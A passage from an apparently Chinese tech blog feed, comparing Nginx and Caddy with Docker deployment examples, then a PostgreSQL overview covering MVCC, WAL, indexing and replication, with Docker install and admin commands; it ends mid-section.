<code>nginx.conf</code>，灵活但语法偏繁；热重载靠信号。</li><li>Caddy 使用 <code>Caddyfile</code>（或 JSON），更简洁；Admin API 支持在线更新、重载与查询。</li></ul></li><li>HTTPS 与证书：<ul><li>Nginx 需手动申请与配置证书（或脚本自动化）。</li><li>Caddy 自动申请与续期，默认将 HTTP 重定向到 HTTPS（需公网域名与 80&#x2F;443 开放）。</li></ul></li><li>负载均衡：<ul><li>Nginx 提供 <code>upstream</code> 多策略（轮询、最少连接、IP hash）。</li><li>Caddy 在 <code>reverse_proxy</code> 中内置多后端与健康检查，配置更直观。</li></ul></li><li>性能与资源：<ul><li>两者都非常高效；Nginx 更“工业化”、内存占用更小。</li><li>Caddy 默认启用现代协议与安全特性，整体开销略高但配置更省心。</li></ul></li><li>可观测性：<ul><li>Nginx 日志与 <code>stub_status</code>（或第三方模块）常用。</li><li>Caddy 日志结构化，Admin API&#x2F;JSON 状态便于集成。</li></ul></li></ul><p>选择建议：</p><ul><li>追求“稳、广、细控”用 Nginx；追求“快搭建、自动 HTTPS、简配置”用 Caddy。</li></ul><hr><h2 id="使用-Docker-部署-Nginx"><a href="#使用-Docker-部署-Nginx" class="headerlink" title="使用 Docker 部署 Nginx"></a>使用 Docker 部署 Nginx</h2><p>以下示例基于 <strong>Docker Desktop for Windows</strong>。</p><h3 id="1）运行容器（挂载配置与静态目录）"><a href="#1）运行容器（挂载配置与静态目录）" class="headerlink" title="1）运行容器（挂载配置与静态目录）"></a>1）运行容器（挂载配置与静态目录）</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker run -d \<br>  --name nginx \<br>  -p 80:80 -p 443:443 \<br>  -v <span class="hljs-string">&quot;h:/data/nginx/conf:/etc/nginx&quot;</span> \<br>  -v <span class="hljs-string">&quot;h:/data/nginx/html:/usr/share/nginx/html&quot;</span> \<br>  -v <span class="hljs-string">&quot;h:/data/nginx/certs:/etc/nginx/certs&quot;</span> \<br>  nginx:stable<br></code></pre></td></tr></table></figure><ul><li><code>conf</code>：放置 <code>nginx.conf</code> 与 <code>conf.d/*.conf</code>。</li><li><code>html</code>：站点静态文件目录。</li><li><code>certs</code>：证书与私钥（用于 HTTPS）。</li></ul><h3 id="2）最小配置示例（反向代理-静态）"><a href="#2）最小配置示例（反向代理-静态）" class="headerlink" title="2）最小配置示例（反向代理 + 静态）"></a>2）最小配置示例（反向代理 + 静态）</h3><p><code>h:/data/nginx/conf/nginx.conf</code></p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><code class="hljs nginx"><span class="hljs-attribute">worker_processes</span>  <span class="hljs-number">1</span>;<br><br><span class="hljs-section">events</span> &#123;<br>    <span class="hljs-attribute">worker_connections</span>  <span class="hljs-number">1024</span>;<br>&#125;<br><br><span class="hljs-section">http</span> &#123;<br>    <span class="hljs-attribute">include</span>       mime.types;<br>    <span class="hljs-attribute">default_type</span>  application/octet-stream;<br>    <span class="hljs-attribute">sendfile</span>      <span class="hljs-literal">on</span>;<br>    <span class="hljs-attribute">keepalive_timeout</span> <span class="hljs-number">65</span>;<br><br>    <span class="hljs-comment"># 静态站点</span><br>    <span class="hljs-section">server</span> &#123;<br>        <span class="hljs-attribute">listen</span> <span class="hljs-number">80</span>;<br>        <span class="hljs-attribute">server_name</span> example.local;<br><br>        <span class="hljs-section">location</span> / &#123;<br>            <span class="hljs-attribute">root</span>  /usr/share/nginx/html;<br>            <span class="hljs-attribute">index</span> index.html;<br>        &#125;<br><br>        <span class="hljs-comment"># 反向代理到后端服务</span><br>        <span class="hljs-section">location</span> /api/ &#123;<br>            <span class="hljs-attribute">proxy_pass</span> http://host.docker.internal:8080/;<br>            <span class="hljs-attribute">proxy_set_header</span> Host <span class="hljs-variable">$host</span>;<br>            <span class="hljs-attribute">proxy_set_header</span> X-Real-IP <span class="hljs-variable">$remote_addr</span>;<br>            <span class="hljs-attribute">proxy_set_header</span> X-Forwarded-For <span class="hljs-variable">$proxy_add_x_forwarded_for</span>;<br>        &#125;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><p>HTTPS 提示：</p><ul><li>生产环境需在 <code>server</code> 中配置 <code>listen 443 ssl;</code>、证书路径与安全套件。</li><li>可配合 <code>Let’s Encrypt</code>&#x2F;<code>acme.sh</code> 自动化证书申请。</li></ul><h3 id="3）Docker-Compose（推荐）"><a href="#3）Docker-Compose（推荐）" class="headerlink" title="3）Docker Compose（推荐）"></a>3）Docker Compose（推荐）</h3><p><code>docker-compose.yml</code></p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs yaml"><span class="hljs-attr">version:</span> <span class="hljs-string">&quot;3.8&quot;</span><br><span class="hljs-attr">services:</span><br>  <span class="hljs-attr">nginx:</span><br>    <span class="hljs-attr">image:</span> <span class="hljs-string">nginx:stable</span><br>    <span class="hljs-attr">container_name:</span> <span class="hljs-string">nginx</span><br>    <span class="hljs-attr">ports:</span><br>      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;80:80&quot;</span><br>      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;443:443&quot;</span><br>    <span class="hljs-attr">volumes:</span><br>      <span class="hljs-bullet">-</span> <span class="hljs-string">./data/nginx/conf:/etc/nginx</span><br>      <span class="hljs-bullet">-</span> <span class="hljs-string">./data/nginx/html:/usr/share/nginx/html</span><br>      <span class="hljs-bullet">-</span> <span class="hljs-string">./data/nginx/certs:/etc/nginx/certs</span><br>    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span><br></code></pre></td></tr></table></figure><p>运维常用：</p><ul><li>重载配置：<code>docker exec nginx nginx -s reload</code></li><li>查看日志：<code>docker logs -f nginx</code></li></ul><hr><h2 id="使用-Docker-部署-Caddy"><a href="#使用-Docker-部署-Caddy" class="headerlink" title="使用 Docker 部署 Caddy"></a>使用 Docker 部署 Caddy</h2><h3 id="1）运行容器（挂载-Caddyfile-与数据目录）"><a href="#1）运行容器（挂载-Caddyfile-与数据目录）" class="headerlink" title="1）运行容器（挂载 Caddyfile 与数据目录）"></a>1）运行容器（挂载 Caddyfile 与数据目录）</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker run -d \<br>  --name caddy \<br>  -p 80:80 -p 443:443 -p 2019:2019 \<br>  -v <span class="hljs-string">&quot;h:/data/caddy/Caddyfile:/etc/caddy/Caddyfile&quot;</span> \<br>  -v <span class="hljs-string">&quot;h:/data/caddy/site:/srv&quot;</span> \<br>  -v <span class="hljs-string">&quot;h:/data/caddy/data:/data&quot;</span> \<br>  -v <span class="hljs-string">&quot;h:/data/caddy/config:/config&quot;</span> \<br>  caddy:2<br></code></pre></td></tr></table></figure><ul><li><code>Caddyfile</code>：核心配置文件。</li><li><code>site</code>：静态文件目录（配合 <code>file_server</code>）。</li><li><code>2019</code>：Admin API（可用于热更新与状态查询）。</li><li><code>data/config</code>：证书与运行时配置持久化（自动 HTTPS 需要）。</li></ul><h3 id="2）最小配置示例"><a href="#2）最小配置示例" class="headerlink" title="2）最小配置示例"></a>2）最小配置示例</h3><p><code>h:/data/caddy/Caddyfile</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs caddy"># 站点 + 自动 HTTPS（需公网 DNS 指向本机）<br>example.com &#123;<br>    # 静态站点<br>    root * /srv<br>    file_server<br><br>    # 反向代理<br>    reverse_proxy host.docker.internal:8080<br>&#125;<br><br># 本地开发（不申请证书）<br>:80 &#123;<br>    root * /srv<br>    file_server<br>    reverse_proxy host.docker.internal:8080<br>&#125;<br></code></pre></td></tr></table></figure><p>热重载：</p><ul><li>通过 Admin API：<code>curl -X POST localhost:2019/load -H &quot;Content-Type: text/caddyfile&quot; --data-binary @/etc/caddy/Caddyfile</code></li><li>或直接：<code>docker exec caddy caddy reload --config /etc/caddy/Caddyfile</code></li></ul><h3 id="3）Docker-Compose（推荐）-1"><a href="#3）Docker-Compose（推荐）-1" class="headerlink" title="3）Docker Compose（推荐）"></a>3）Docker Compose（推荐）</h3><p><code>docker-compose.yml</code></p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs yaml"><span class="hljs-attr">version:</span> <span class="hljs-string">&quot;3.8&quot;</span><br><span class="hljs-attr">services:</span><br>  <span class="hljs-attr">caddy:</span><br>    <span class="hljs-attr">image:</span> <span class="hljs-string">caddy:2</span><br>    <span class="hljs-attr">container_name:</span> <span class="hljs-string">caddy</span><br>    <span class="hljs-attr">ports:</span><br>      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;80:80&quot;</span><br>      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;443:443&quot;</span><br>      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;2019:2019&quot;</span><br>    <span class="hljs-attr">volumes:</span><br>      <span class="hljs-bullet">-</span> <span class="hljs-string">./data/caddy/Caddyfile:/etc/caddy/Caddyfile</span><br>      <span class="hljs-bullet">-</span> <span class="hljs-string">./data/caddy/site:/srv</span><br>      <span class="hljs-bullet">-</span> <span class="hljs-string">./data/caddy/data:/data</span><br>      <span class="hljs-bullet">-</span> <span class="hljs-string">./data/caddy/config:/config</span><br>    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span><br></code></pre></td></tr></table></figure><p>注意事项：</p><ul><li>自动 HTTPS 需要可解析的域名与 80&#x2F;443 外网连通；内网或本地开发可使用 <code>:80</code> 监听或 <code>tls internal</code>。</li><li>Windows 挂载路径需在 Docker Desktop 中共享并允许访问对应磁盘。</li></ul><hr><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><ul><li>Nginx 更适合在需要精细化控制、资源占用更小、生态更成熟的场景中使用。</li><li>Caddy 更适合快速交付、自动 HTTPS、现代协议与简单配置的场景。</li><li>两者都可通过 Docker 在 Windows 环境快速部署；建议使用 Compose 管理配置与数据持久化，并结合反向代理与静态站点需求选择合适的方案。</li></ul><p>—— <em>NowPion</em></p>]]>
      </content:encoded>
    </item>
    <item>
      <title>PostgreSQL特点与安装</title>
      <link>https://blog.newpon.top/2025/10/25/Postgresql%E7%89%B9%E7%82%B9%E4%B8%8E%E5%AE%89%E8%A3%85/</link>
      <description>概述企业级开源关系型数据库 PostgreSQL 的关键特性（ACID、MVCC、丰富数据类型与索引），并提供基于 Docker 的快速安装与常用运维指南。</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.newpon.top/tags/Docker/">Docker</category>
      <category domain="https://blog.newpon.top/tags/PostgreSQL/">PostgreSQL</category>
      <category domain="https://blog.newpon.top/tags/%E6%95%B0%E6%8D%AE%E5%BA%93/">数据库</category>
      <pubDate>Sat, 25 Oct 2025 08:47:08 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="PostgreSQL-特点与安装（Docker）"><a href="#PostgreSQL-特点与安装（Docker）" class="headerlink" title="PostgreSQL 特点与安装（Docker）"></a>PostgreSQL 特点与安装（Docker）</h1><p>近期项目将采用 <strong>PostgreSQL</strong> 作为核心数据库。本文概述 PostgreSQL 的关键特性，并给出在 Windows 环境下使用 <strong>Docker</strong> 的快速安装与常用运维示例，帮助你低成本、可重复地完成本地或测试环境搭建。</p><hr><h2 id="为什么选择-PostgreSQL"><a href="#为什么选择-PostgreSQL" class="headerlink" title="为什么选择 PostgreSQL"></a>为什么选择 PostgreSQL</h2><ul><li>开源且企业级：遵循 SQL 标准、功能完整、社区活跃。</li><li>强一致事务：ACID + MVCC 支持高并发读写且保证一致性。</li><li>丰富数据类型：<code>JSON/JSONB</code>、数组、地理空间（PostGIS）等丰富类型。</li><li>强大索引：<code>B-Tree</code>、<code>Hash</code>、<code>GIN</code>、<code>GiST</code>、<code>BRIN</code> 覆盖多场景查询。</li><li>可扩展生态：扩展、插件和函数众多，适合复杂业务与数据分析。</li><li>跨平台：Linux、macOS、Windows 通过 Docker 一致部署与运维。</li></ul><hr><h2 id="核心特性速览"><a href="#核心特性速览" class="headerlink" title="核心特性速览"></a>核心特性速览</h2><ul><li>事务与并发：MVCC 无锁读、事务隔离级别可配，适合高并发业务。</li><li>JSONB：原生支持文档型数据与索引，兼顾结构化与半结构化场景。</li><li>分区与复制：表分区、逻辑复制、流复制，适合大表与高可用方案。</li><li>扩展生态：<code>pg_stat_statements</code>（性能分析）、<code>PostGIS</code>（GIS）、<code>uuid-ossp</code>（UUID）等。</li><li>索引多样性：<code>GIN</code> 适合全文检索&#x2F;JSON，<code>GiST</code> 适合范围或空间，<code>BRIN</code> 适合超大顺序数据。</li></ul><hr><h2 id="知识点详解"><a href="#知识点详解" class="headerlink" title="知识点详解"></a>知识点详解</h2><h3 id="架构与存储"><a href="#架构与存储" class="headerlink" title="架构与存储"></a>架构与存储</h3><ul><li>进程模型：主进程（<code>postmaster</code>&#x2F;<code>postgres</code>）+ 每连接一个后台进程；辅助进程负责 <code>WAL Writer</code>、<code>Background Writer</code>、<code>Checkpointer</code>、<code>Autovacuum</code> 等。</li><li>数据文件组织：库（<code>base/&lt;db_oid&gt;</code>）→ 表（多个段 <code>relfilenode</code>）→ 8KB 页（Page）→ 行（Tuple）。</li><li>TOAST：大字段（如 <code>TEXT/JSONB</code>）溢出到 TOAST 表，降低主表膨胀与缓冲压力。</li></ul><h3 id="MVCC-与事务隔离级别"><a href="#MVCC-与事务隔离级别" class="headerlink" title="MVCC 与事务隔离级别"></a>MVCC 与事务隔离级别</h3><ul><li>MVCC：行版本 + 可见性规则，读不阻塞写、写不阻塞读。</li><li>隔离级别：<code>Read Committed</code>（默认）、<code>Repeatable Read</code>、<code>Serializable</code>。</li><li>幻读与写偏斜：<code>Serializable</code> 使用 SSI 算法降低异常并发；谨慎选择隔离级别与锁策略。</li></ul><h3 id="WAL-与检查点"><a href="#WAL-与检查点" class="headerlink" title="WAL 与检查点"></a>WAL 与检查点</h3><ul><li>WAL（预写日志）：确保崩溃恢复与复制；顺序写优化 IO。</li><li>Checkpoint：将脏页刷盘并记录 LSN，降低恢复时间；频率与大小影响性能。</li><li>关键参数：<code>wal_level</code>、<code>checkpoint_timeout</code>、<code>max_wal_size</code>、<code>min_wal_size</code>、<code>synchronous_commit</code>。</li></ul><h3 id="锁与并发控制"><a href="#锁与并发控制" class="headerlink" title="锁与并发控制"></a>锁与并发控制</h3><ul><li>行级锁：<code>FOR UPDATE/SHARE</code>；避免长事务持锁。</li><li>表级锁：<code>ACCESS SHARE/EXCLUSIVE</code> 等；DDL 可能触发表级锁。</li><li>死锁分析：<code>pg_locks</code> + 日志；拆分事务、减少相互依赖顺序。</li></ul><h3 id="VACUUM-ANALYZE-与-Autovacuum"><a href="#VACUUM-ANALYZE-与-Autovacuum" class="headerlink" title="VACUUM&#x2F;ANALYZE 与 Autovacuum"></a>VACUUM&#x2F;ANALYZE 与 Autovacuum</h3><ul><li>VACUUM：清理不可见行版本，避免膨胀与 XID wraparound。</li><li>ANALYZE：更新统计信息，提升查询计划质量。</li><li>Autovacuum：自动维护；参数如 <code>autovacuum_vacuum_scale_factor</code>、<code>autovacuum_analyze_scale_factor</code> 与 <code>naptime</code> 需按表规模调优。</li></ul><h3 id="查询优化与执行计划"><a href="#查询优化与执行计划" class="headerlink" title="查询优化与执行计划"></a>查询优化与执行计划</h3><ul><li>使用 <code>EXPLAIN (ANALYZE, BUFFERS)</code> 观察真实耗时与 IO。</li><li>关键算子：<code>Seq Scan</code>、<code>Index Scan</code>、<code>Bitmap Heap/Index Scan</code>、<code>Nested Loop</code>、<code>Hash Join</code>、<code>Merge Join</code>。</li><li>常见优化：合理索引、避免函数对列包裹、分区裁剪、提高选择性统计、限制返回列与行数。</li></ul><h3 id="索引类型与适用场景"><a href="#索引类型与适用场景" class="headerlink" title="索引类型与适用场景"></a>索引类型与适用场景</h3><ul><li><code>B-Tree</code>：通用比较与排序、前缀匹配。</li><li><code>Hash</code>：等值查询；PostgreSQL 现支持 WAL，但总体用得较少。</li><li><code>GIN</code>：倒排索引，适合 <code>JSONB</code>、全文检索、数组包含。</li><li><code>GiST</code>：范围、空间、相似度；配合 PostGIS、trigram 相似度等。</li><li><code>BRIN</code>：超大顺序数据（时间&#x2F;自增 ID），低维护成本。</li><li>部分索引&#x2F;表达式索引：提高特定条件&#x2F;函数查询效率。</li></ul><h3 id="分区表与最佳实践"><a href="#分区表与最佳实践" class="headerlink" title="分区表与最佳实践"></a>分区表与最佳实践</h3><ul><li>范式：<code>RANGE/LIST/HASH</code> 分区；按时间或业务键分区最常见。</li><li>好处：裁剪加速查询、加速归档与维护、降低索引体量。</li><li>注意：主键&#x2F;唯一约束需配合分区键；跨分区更新慎用；统计与 Autovacuum 策略需面向各分区。</li></ul><h3 id="复制与高可用"><a href="#复制与高可用" class="headerlink" title="复制与高可用"></a>复制与高可用</h3><ul><li>物理复制：主从流复制（<code>wal_level=replica</code>）；备库只读。</li><li>逻辑复制：按表级发布&#x2F;订阅；适合数据迁移与异构同步。</li><li>同步与异步：同步复制确保提交安全、牺牲延迟；异步复制性能好但可能丢失极少量事务。</li></ul><h3 id="备份与恢复策略"><a href="#备份与恢复策略" class="headerlink" title="备份与恢复策略"></a>备份与恢复策略</h3><ul><li>逻辑备份：<code>pg_dump/pg_restore</code>，适合结构迁移与小型库备份。</li><li>物理备份：基于数据目录 + WAL（如 <code>pg_basebackup</code>），适合大库与精准时间点恢复（PITR）。</li><li>PITR：通过 <code>restore_command</code> + WAL 归档，定位到指定时间或 LSN。</li></ul><h3 id="权限模型与安全实践"><a href="#权限模型与安全实践" class="headerlink" title="权限模型与安全实践"></a>权限模型与安全实践</h3><ul><li>角色与权限：<code>ROLE</code> 可 <code>LOGIN</code>，通过 <code>GRANT</code> 赋权到对象级（库、模式、表、序列、函数）。</li><li>最小权限原则：应用用户只给所需 DML 权限；分离 DDL 与管理角色。</li><li>安全配置：<code>password_encryption</code>、<code>pg_hba.conf</code> 访问控制、SSL&#x2F;TLS。</li></ul><h3 id="扩展与常用插件"><a href="#扩展与常用插件" class="headerlink" title="扩展与常用插件"></a>扩展与常用插件</h3><ul><li><code>pg_stat_statements</code>：慢查询分析与 SQL 聚合统计。</li><li><code>uuid-ossp</code> 或 <code>pgcrypto</code>：生成&#x2F;处理 UUID。</li><li><code>postgis</code>：GIS 能力；空间索引与空间查询。</li><li><code>pg_trgm</code>：相似度与模糊匹配（支持 <code>%LIKE%</code> 优化与搜索）。</li></ul><h3 id="JSONB-实战技巧"><a href="#JSONB-实战技巧" class="headerlink" title="JSONB 实战技巧"></a>JSONB 实战技巧</h3><ul><li>操作符：<code>-&gt;</code>（取对象）、<code>-&gt;&gt;</code>（文本）、<code>@&gt;</code>（包含）、<code>?</code>（键存在）。</li><li>索引建议：<code>GIN</code> + <code>jsonb_path_ops</code> 提升包含查询；为常用路径建表达式索引。</li></ul><h3 id="时间与时区处理"><a href="#时间与时区处理" class="headerlink" title="时间与时区处理"></a>时间与时区处理</h3><ul><li>使用 <code>TIMESTAMPTZ</code> 存储带时区时间；统一用 UTC 入库、业务层按地区显示。</li><li>设置 <code>TimeZone</code> 与 <code>IntervalStyle</code>，避免夏令时等边界问题。</li></ul><h3 id="管理与调优常见参数"><a href="#管理与调优常见参数" class="headerlink" title="管理与调优常见参数"></a>管理与调优常见参数</h3><ul><li>内存：<code>shared_buffers</code>（25% RAM 起步）、<code>work_mem</code>（按并发控制）、<code>maintenance_work_mem</code>。</li><li>并发：<code>max_connections</code>（配合连接池）、<code>effective_cache_size</code>（估算系统缓存）。</li><li>写入：<code>wal_compression</code>、<code>synchronous_commit</code>、<code>checkpoint_completion_target</code>。</li></ul><h3 id="常用运维命令"><a href="#常用运维命令" class="headerlink" title="常用运维命令"></a>常用运维命令</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 连接</span><br>psql <span class="hljs-string">&quot;postgres://pguser:pgpass@localhost:5432/demo&quot;</span><br><span class="hljs-comment"># 查看会话与锁</span><br>\conninfo<br>SELECT * FROM pg_stat_activity;<br>SELECT * FROM pg_locks;<br><span class="hljs-comment"># 索引与表统计</span><br>\d+ public.user_profile<br>SELECT * FROM pg_stat_user_tables;<br><span class="hljs-comment"># 执行计划</span><br>EXPLAIN (ANALYZE, BUFFERS) SELECT * FROM public.user_profile WHERE <span class="hljs-built_in">id</span> &lt; 1000;<br></code></pre></td></tr></table></figure><h3 id="psql-常用快捷"><a href="#psql-常用快捷" class="headerlink" title="psql 常用快捷"></a>psql 常用快捷</h3><ul><li><code>\l</code> 列出数据库，<code>\c dbname</code> 切换，<code>\dt</code> 列出表，<code>\di</code> 索引。</li><li><code>\x</code> 切换扩展显示，<code>\timing</code> 打开计时，<code>\watch</code> 循环执行当前查询。</li></ul><hr><h2 id="使用-Docker-安装-PostgreSQL"><a href="#使用-Docker-安装-PostgreSQL" class="headerlink" title="使用 Docker 安装 PostgreSQL"></a>使用 Docker 安装 PostgreSQL</h2><p>以下示例基于 <strong>Docker Desktop for Windows</strong>。</p><h3 id="1）拉取镜像"><a href="#1）拉取镜像" class="headerlink" title="1）拉取镜像"></a>1）拉取镜像</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker pull postgres:16<br></code></pre></td></tr></table></figure><h3 id="2）启动容器（持久化数据）"><a href="#2）启动容器（持久化数据）" class="headerlink" title="2）启动容器（持久化数据）"></a>2）启动容器（持久化数据）</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker run -d \<br>  --name postgres16 \<br>  -e POSTGRES_USER=pguser \<br>  -e POSTGRES_PASSWORD=pgpass \<br>  -e POSTGRES_DB=demo \<br>  -e TZ=Asia/Shanghai \<br>  -p 5432:5432 \<br>  -v <span class="hljs-string">&quot;h:/data/postgres:/var/lib/postgresql/data&quot;</span> \<br>  postgres:16<br></code></pre></td></tr></table></figure><ul><li><code>POSTGRES_USER/POSTGRES_PASSWORD/POSTGRES_DB</code>：初始化用户、密码与数据库。</li><li><code>-v h:/data/postgres:/var/lib/postgresql/data</code>：将数据持久化到本地磁盘（确保 Docker Desktop 共享了该盘）。</li><li><code>-p 5432:5432</code>：映射主机端口到容器端口。</li><li><code>TZ</code>：设置时区，便于日志与时间一致。</li></ul><p>查看容器状态与日志：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker ps<br>docker logs -f postgres16<br></code></pre></td></tr></table></figure><h3 id="3）连接测试"><a href="#3）连接测试" class="headerlink" title="3）连接测试"></a>3）连接测试</h3><ul><li>本机工具：<code>psql -h localhost -U pguser -d demo</code>（首次会提示输入密码 <code>pgpass</code>）。</li><li>连接串：<code>postgres://pguser:pgpass@localhost:5432/demo</code>。</li><li>Java&#x2F;JDBC：<code>jdbc:postgresql://localhost:5432/demo</code>。</li></ul><hr><h2 id="使用-Docker-Compose（推荐）"><a href="#使用-Docker-Compose（推荐）" class="headerlink" title="使用 Docker Compose（推荐）"></a>使用 Docker Compose（推荐）</h2><p>在项目根目录新建 <code>docker-compose.yml</code>：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs yaml"><span class="hljs-attr">version:</span> <span class="hljs-string">&quot;3.8&quot;</span><br><span class="hljs-attr">services:</span><br>  <span class="hljs-attr">postgres:</span><br>    <span class="hljs-attr">image:</span> <span class="hljs-string">postgres:16</span><br>    <span class="hljs-attr">container_name:</span> <span class="hljs-string">postgres16</span><br>    <span class="hljs-attr">environment:</span><br>      <span class="hljs-attr">POSTGRES_USER:</span> <span class="hljs-string">pguser</span><br>      <span class="hljs-attr">POSTGRES_PASSWORD:</span> <span class="hljs-string">pgpass</span><br>      <span class="hljs-attr">POSTGRES_DB:</span> <span class="hljs-string">demo</span><br>      <span class="hljs-attr">TZ:</span> <span class="hljs-string">Asia/Shanghai</span><br>    <span class="hljs-attr">ports:</span><br>      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;5432:5432&quot;</span><br>    <span class="hljs-attr">volumes:</span><br>      <span class="hljs-bullet">-</span> <span class="hljs-string">./data/postgres:/var/lib/postgresql/data</span><br>    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span><br></code></pre></td></tr></table></figure><p>启动与关闭：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker compose up -d<br>docker compose down<br></code></pre></td></tr></table></figure><blockquote><p>将数据目录映射为 <code>./data/postgres</code>，便于项目内统一管理。</p></blockquote><hr><h2 id="常用运维示例"><a href="#常用运维示例" class="headerlink" title="常用运维示例"></a>常用运维示例</h2><h3 id="创建用户与数据库"><a href="#创建用户与数据库" class="headerlink" title="创建用户与数据库"></a>创建用户与数据库</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-comment">-- 进入 psql 后执行：</span><br><span class="hljs-keyword">CREATE</span> ROLE appuser <span class="hljs-keyword">WITH</span> LOGIN PASSWORD <span class="hljs-string">&#x27;appPass&#x27;</span> NOSUPERUSER;<br><span class="hljs-keyword">CREATE</span> DATABASE appdb OWNER appuser;<br><span class="hljs-keyword">GRANT</span> <span class="hljs-keyword">ALL</span> PRIVILEGES <span class="hljs-keyword">ON</span> DATABASE appdb <span class="hljs-keyword">TO</span> appuser;<br></code></pre></td></tr></table></figure><h3 id="基本表与索引"><a href="#基本表与索引" class="headerlink" title="基本表与索引"></a>基本表与索引</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">CREATE TABLE</span> public.user_profile (<br>  id         BIGSERIAL <span class="hljs-keyword">PRIMARY KEY</span>,<br>  nickname   TEXT,<br>  attrs      JSONB,<br>  created_at TIMESTAMPTZ <span class="hljs-keyword">DEFAULT</span> NOW()<br>);<br><br><span class="hljs-comment">-- JSONB 的 GIN 索引（适合键值、全文检索等）</span><br><span class="hljs-keyword">CREATE</span> INDEX idx_user_profile_attrs_gin <span class="hljs-keyword">ON</span> public.user_profile <span class="hljs-keyword">USING</span> GIN (attrs);<br></code></pre></td></tr></table></figure><h3 id="备份与恢复（容器内执行）"><a href="#备份与恢复（容器内执行）" class="headerlink" title="备份与恢复（容器内执行）"></a>备份与恢复（容器内执行）</h3><figure 